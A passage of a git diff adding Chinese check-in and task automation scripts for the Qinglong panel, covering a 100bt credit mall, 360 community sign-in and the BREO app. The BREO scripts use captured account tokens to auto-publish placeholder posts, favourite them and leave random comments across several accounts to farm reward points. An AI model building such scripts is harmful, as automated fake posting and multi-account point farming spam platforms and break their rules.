`http://service.100bt.com/creditmall/activity/do_task.jsonp?callback=${expando}_${time1}&taskId=${taskId}&gameId=2&_=${time2}`, + headers: { + Accept: "*/*", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + Cookie: this.ck, + Host: "service.100bt.com", + "Proxy-Connection": "keep-alive", + Referer: "http://www.100bt.com/", + "User-Agent": + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0", + }, + }; + let { body: result } = await httpRequest(options); + //console.log(options); + //result = JSON.parse(result); + result = result.replace(`${expando}_${time1}`, "") + result = result.replace(`(`, "") + result = result.replace(`)`, "") + result = JSON.parse(result) + $.log(JSON.stringify(result.jsonResult.message)); + + } catch (e) { + console.log(e); + } + } + + async do_exchange(pageIndex) { + let expando = "jQuery" + ("1.8.3" + Math.random()).replace(/\D/g, ""); + let time1 = new Date().getTime(); + let time2 = new Date().getTime(); + try { + let options = { + fn: "兑换", + method: "get", + url: `http://service.100bt.com/creditmall/mall/page.jsonp?callback=${expando}_${time1}&pageIndex=${pageIndex}&pageSize=1&orderBy=1&_=${time2}`, + headers: { + Accept: "*/*", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + Cookie: this.ck, + Host: "service.100bt.com", + "Proxy-Connection": "keep-alive", + Referer: "http://www.100bt.com/", + "User-Agent": + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0", + }, + }; + let { body: result } = await httpRequest(options); + //console.log(options); + //result = JSON.parse(result); + $.log(JSON.stringify(result)); + } catch (e) { + console.log(e); + } + } +} + +async function start() { + let taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.main()); + } + } + await Promise.all(taskall); +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await SendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +/** + * 变量检查与处理 + * @returns + */ +async function checkEnv() { + let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + if (userCookie) { + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userList.length}个账号`), true; //true == !0 +} + +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options) { + if (!options["method"]) { + return console.log(`请求方法不存在`); + } + if (!options["fn"]) { + console.log(`函数名不存在`); + } + return new Promise((resolve) => { + $[options.method](options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + try { + resp = JSON.parse(resp); + } catch (error) { } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(resp); + } + }); + }); +} +async function SendMsg(message) { + if (!message) return; + if ($.isNode()) { + await notify.sendNotify($.name, message); + } else { + $.msg($.name, "", message); + } +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) } diff --git a/脚本库/web版/抓包/360社区签到/2026-04-07_360_6ad9e634.py b/脚本库/web版/抓包/360社区签到/2026-04-07_360_6ad9e634.py new file mode 100644 index 0000000..32b612f --- /dev/null +++ b/脚本库/web版/抓包/360社区签到/2026-04-07_360_6ad9e634.py @@ -0,0 +1,158 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/360.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/360.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/360.py +# UploadedAt: 2026-04-07T07:05:19Z +# SHA256: 6ad9e6349174feff19123a743bc626bb84d6916c289d4ab3017d6b967b231a6e +# Category: web版/抓包 +# Evidence: web/H5关键词 + cookie/token/header + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# 作者: 青龙面板适配 +# 说明: 360社区自动签到脚本(青龙面板专用) +# 依赖: requests +# new Env("360社区签到") +# 用法: 在青龙面板环境变量中设置 BBS360_COOKIE +# 请确保Cookie包含 __cfduid, uid 等必要字段 + +import os +import re +import time +import random +import requests +from dataclasses import dataclass +from typing import Optional, Tuple + +SIGN_PAGE = "https://bbs.360.cn/dsu_paulsign-sign.html" +SIGN_API = "https://bbs.360.cn/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=1&inajax=1" + +@dataclass +class CheckinResult: + ok: bool + status: str + detail: str + +class BBS360Checkin: + """360社区签到客户端(青龙面板适配)""" + def __init__(self, cookie: str, timeout: int = 20): + self.cookie = cookie.strip() + self.timeout = timeout + self.session = requests.Session() + self.session.headers.update({ + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Cookie": self.cookie, + "Referer": "https://bbs.360.cn/", + }) + + def fetch_formhash(self) -> Tuple[Optional[str], str]: + """拉取签到页并提取 formhash""" + resp = self.session.get(SIGN_PAGE, timeout=self.timeout, allow_redirects=True) + text = resp.text or "" + + # 青龙面板特殊处理:如果返回403,可能是需要验证 + if resp.status_code == 403: + return None, "403 Forbidden(可能需要绑定手机号)" + + # 未登录/未绑定手机号时提示 + if "您需要先登录才能继续本操作" in text or "请使用手机微信扫码安全登录" in text: + return None, "未登录或账号未绑定手机号(需在360社区绑定手机号)" + + # 提取 formhash + m = re.search(r'formhash=([0-9a-zA-Z]{6,})', text) + if not m: + m = re.search(r'name="formhash"\s+value="([0-9a-zA-Z]{6,})"', text) + + if not m: + return None, "未解析到 formhash(页面结构可能变更)" + + return m.group(1), "OK" + + def submit_checkin(self, formhash: str) -> CheckinResult: + """提交签到请求""" + moods = ["kx", "ym", "tp", "ng", "wl"] + payload = { + "formhash": formhash, + "qdxq": random.choice(moods), + "qdmode": "1", + "todaysay": random.choice([ + "打卡签到,愿一切顺利!", + "新的一天,继续加油~", + "保持热爱,奔赴山海。", + "今日签到,万事胜意。", + "坚持自律,慢慢变强。", + ]), + "fastreply": "0", + } + + resp = self.session.post(SIGN_API, data=payload, timeout=self.timeout) + raw = resp.text or "" + + # 青龙面板特殊处理:返回403或500 + if resp.status_code != 200: + return CheckinResult(False, f"http_{resp.status_code}", f"HTTP {resp.status_code}") + + # 检查签到结果 + if "签到成功" in raw or ("恭喜" in raw and "签到" in raw): + return CheckinResult(True, "success", self._extract_message(raw) or "签到成功") + if "已经签到" in raw or "已签到" in raw or "请勿重复签到" in raw: + return CheckinResult(True, "already", self._extract_message(raw) or "今日已签到") + if ("formhash" in raw and "错误" in raw) or "请求无效" in raw: + return CheckinResult(False, "bad_formhash", self._extract_message(raw) or "formhash无效/过期") + + return CheckinResult(False, "unknown", self._extract_message(raw) or raw[:200]) + + @staticmethod + def _extract_message(text: str) -> str: + """提取提示信息""" + m = re.search(r"showmessage\('([^']+)'\)", text) + if m: + return m.group(1) + + m = re.search(r"([^\n\r]{0,20}(签到|已签到|重复签到)[^\n\r]{0,40})", text) + if m: + return m.group(1) + + return "" + + def run(self) -> CheckinResult: + formhash, info = self.fetch_formhash() + if not formhash: + return CheckinResult(False, "no_login_or_parse_failed", info) + + time.sleep(random.uniform(1.0, 2.5)) + return self.submit_checkin(formhash) + +def main(): + # 青龙面板专用:从环境变量获取Cookie + cookie = os.getenv("BBS360_COOKIE", "").strip() + + if not cookie: + print("❌ 未设置环境变量 BBS360_COOKIE") + print("💡 请在青龙面板 → 环境变量 → 添加以下内容:") + print(" KEY: BBS360_COOKIE") + print(" VALUE: 从浏览器复制的完整Cookie(包含__cfduid, uid等)") + return + + # 青龙面板特殊处理:检测Cookie是否包含必要字段 + if "__cfduid" not in cookie or "uid" not in cookie: + print("❌ Cookie无效:缺少必要字段(需包含__cfduid和uid)") + print("💡 请重新复制Cookie:") + print(" 1. 登录 bbs.360.cn → F12 → Application → Cookies") + print(" 2. 复制 bbs.360.cn 下的所有Cookie字段") + return + + client = BBS360Checkin(cookie=cookie, timeout=20) + result = client.run() + + # 青龙面板专用输出格式 + if result.ok: + print(f"✅ 360签到成功 | {result.status} | {result.detail}") + else: + print(f"❌ 360签到失败 | {result.status} | {result.detail}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/脚本库/web版/抓包/BREO/2026-04-07_BREO_446c598f.py b/脚本库/web版/抓包/BREO/2026-04-07_BREO_446c598f.py new file mode 100644 index 0000000..c1d4f79 --- /dev/null +++ b/脚本库/web版/抓包/BREO/2026-04-07_BREO_446c598f.py @@ -0,0 +1,257 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/BREO.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/BREO.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/BREO.py +# UploadedAt: 2026-04-07T11:05:15Z +# SHA256: 446c598f98f635052297065eb89ca1d0a7ae4a9e0c9caf49cdb7b41cd1e8f585 +# Category: web版/抓包 +# Evidence: web/H5关键词 + cookie/token/header + +#by:哆啦A梦 +#入口:http://mx.qrurl.net/h5/wxa/link?sid=26407uif5Oq +#抓包breoplus.breo.cn的域名下的token,多账号换行分割 +#账号变量名:BREO +#new Env("BREO") +#cron 8 9,10,11 * * * + + +import requests +import json +import os +import time + +def get_random_one_word(): + try: + response = requests.get("https://uapis.cn/api/say") + if response.status_code == 200: + return response.text.strip() + else: + return "无法获取一言" + except Exception as e: + print(f"获取一言时出错: {e}") + return "无法获取一言" + +def get_proclamation(): + primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + backup_url = "https://tfapi.cn/TL/tl.json" + try: + response = requests.get(primary_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + return + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}, 尝试备用链接...") + + try: + response = requests.get(backup_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + else: + print(f"⚠️ 获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") + +def post_to_breo(token, content, title): + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/releasePost" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1", + "Content-Type": "application/json; charset=UTF-8" + } + data = { + "anonymoused": 1, + "content": content, + "expressText": "", + "images": [], + "subTitle": "", + "title": title, + "topicText": "" + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 发帖成功!") + print(f"帖子 ID: {result['result']['id']}") + print(f"帖子标题: {result['result']['title']}") + return result["result"]["id"] + else: + print(f"❌ 发帖失败,错误信息:{result.get('message', '未知错误')}") + return None + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + return None + except Exception as e: + print(f"❌ 请求错误: {e}") + return None + +def collect_post(token, post_id): + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/collect" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1", + "Content-Type": "application/json; charset=UTF-8" + } + data = { + "postId": post_id + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 收藏成功!") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 收藏失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +def comment_post(token, post_id): + for _ in range(2): # 评论2次 + comment_content = get_random_one_word() # 使用随机一言作为评论内容 + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/comment" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1", + "Content-Type": "application/json; charset=UTF-8" + } + data = { + "anonymoused": 0, + "commentText": comment_content, + "postId": post_id + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 评论成功!") + print(f"评论内容: {result['result']['rootOutVO']['commentText']}") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 评论失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + time.sleep(1) # 避免频繁请求 + +def browse_mall(token): + url = "https://breoplus.breo.cn/breo-app/user/po-task-info/mall" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1" + } + try: + response = requests.post(url, headers=headers) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 浏览商城成功!") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 浏览商城失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +def punch_in(token): + url = "https://breoplus.breo.cn/breo-app/user/po-task-info/punch" + headers = { + "Host": "breoplus.breo.cn", + "Connection": "keep-alive", + "Content-Length": "0", + "content-type": "application/json", + "token": token, + "charset": "utf-8", + "Referer": "https://servicewechat.com/wx61457400e4212cec/304/page-frame.html", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 XWEB/1340043 MMWEBSDK/20241202 MMWEBID/3628 MicroMessenger/8.0.56.2800(0x2800385E) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "Accept-Encoding": "gzip, deflate, br" + } + try: + response = requests.post(url, headers=headers) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 签到成功!") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 签到失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +if __name__ == "__main__": + # 获取公告 + #get_proclamation() + + # 从环境变量读取 token + tokens = os.getenv("BREO", "").splitlines() + + if not tokens: + print("❌ 未检测到 账号信息,退出脚本。") + else: + print("=============== 开始执行任务 ===============") + for i, token in enumerate(tokens, 1): + if token.strip(): # 跳过空行 + print(f"\n-------------- 账号 {i} 开始 --------------") + print("🚀 正在签到...") + punch_in(token) + + print("\n📝 正在发布帖子...") + post_id = post_to_breo(token, "这是一个自动发布的帖子", "自动化测试") + if post_id: + print("\n⭐ 正在收藏帖子...") + collect_post(token, post_id) + + print("\n💬 正在评论帖子...") + comment_post(token, post_id) + else: + print("❌ 发帖失败,跳过后续操作。") + + print("\n🛒 正在浏览商城...") + browse_mall(token) + + print(f"-------------- 账号 {i} 结束 --------------") + + print("\n=============== 所有任务执行完毕 ===============") \ No newline at end of file diff --git a/脚本库/web版/抓包/breo/2025-06-28_breo_647b98a9.py b/脚本库/web版/抓包/breo/2025-06-28_breo_647b98a9.py new file mode 100644 index 0000000..51a4795 --- /dev/null +++ b/脚本库/web版/抓包/breo/2025-06-28_breo_647b98a9.py @@ -0,0 +1,255 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/breo.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/breo.py +# Repo: jdqlscript/toulu +# Path: breo.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 647b98a9b738f298f61a064abe47421a4511e74520de74cd4653c39e236dcd5a +# Category: web版/抓包 +# Evidence: web/H5关键词 + cookie/token/header + +#by:哆啦A梦 +#入口:http://api.0vsp.com/h5/wxa/link?sid=25424JXZCFp +#抓包breoplus.breo.cn的域名下的token,多账号换行分割 +#账号变量名:BREO + + +import requests +import json +import os +import time + +def get_random_one_word(): + try: + response = requests.get("https://uapis.cn/api/say") + if response.status_code == 200: + return response.text.strip() + else: + return "无法获取一言" + except Exception as e: + print(f"获取一言时出错: {e}") + return "无法获取一言" + +def get_proclamation(): + primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + backup_url = "https://tfapi.cn/TL/tl.json" + try: + response = requests.get(primary_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + return + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}, 尝试备用链接...") + + try: + response = requests.get(backup_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + else: + print(f"⚠️ 获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") + +def post_to_breo(token, content, title): + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/releasePost" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1", + "Content-Type": "application/json; charset=UTF-8" + } + data = { + "anonymoused": 1, + "content": content, + "expressText": "", + "images": [], + "subTitle": "", + "title": title, + "topicText": "" + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 发帖成功!") + print(f"帖子 ID: {result['result']['id']}") + print(f"帖子标题: {result['result']['title']}") + return result["result"]["id"] + else: + print(f"❌ 发帖失败,错误信息:{result.get('message', '未知错误')}") + return None + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + return None + except Exception as e: + print(f"❌ 请求错误: {e}") + return None + +def collect_post(token, post_id): + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/collect" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1", + "Content-Type": "application/json; charset=UTF-8" + } + data = { + "postId": post_id + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 收藏成功!") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 收藏失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +def comment_post(token, post_id): + for _ in range(2): # 评论2次 + comment_content = get_random_one_word() # 使用随机一言作为评论内容 + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/comment" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1", + "Content-Type": "application/json; charset=UTF-8" + } + data = { + "anonymoused": 0, + "commentText": comment_content, + "postId": post_id + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 评论成功!") + print(f"评论内容: {result['result']['rootOutVO']['commentText']}") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 评论失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + time.sleep(1) # 避免频繁请求 + +def browse_mall(token): + url = "https://breoplus.breo.cn/breo-app/user/po-task-info/mall" + headers = { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1" + } + try: + response = requests.post(url, headers=headers) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 浏览商城成功!") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 浏览商城失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +def punch_in(token): + url = "https://breoplus.breo.cn/breo-app/user/po-task-info/punch" + headers = { + "Host": "breoplus.breo.cn", + "Connection": "keep-alive", + "Content-Length": "0", + "content-type": "application/json", + "token": token, + "charset": "utf-8", + "Referer": "https://servicewechat.com/wx61457400e4212cec/304/page-frame.html", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 XWEB/1340043 MMWEBSDK/20241202 MMWEBID/3628 MicroMessenger/8.0.56.2800(0x2800385E) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "Accept-Encoding": "gzip, deflate, br" + } + try: + response = requests.post(url, headers=headers) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 签到成功!") + print(f"获得点数: {result['result']['point']}") + print(f"成长值: {result['result']['grow']}") + else: + print(f"❌ 签到失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +if __name__ == "__main__": + # 获取公告 + get_proclamation() + + # 从环境变量读取 token + tokens = os.getenv("BREO", "").splitlines() + + if not tokens: + print("❌ 未检测到 账号信息,退出脚本。") + else: + print("=============== 开始执行任务 ===============") + for i, token in enumerate(tokens, 1): + if token.strip(): # 跳过空行 + print(f"\n-------------- 账号 {i} 开始 --------------") + 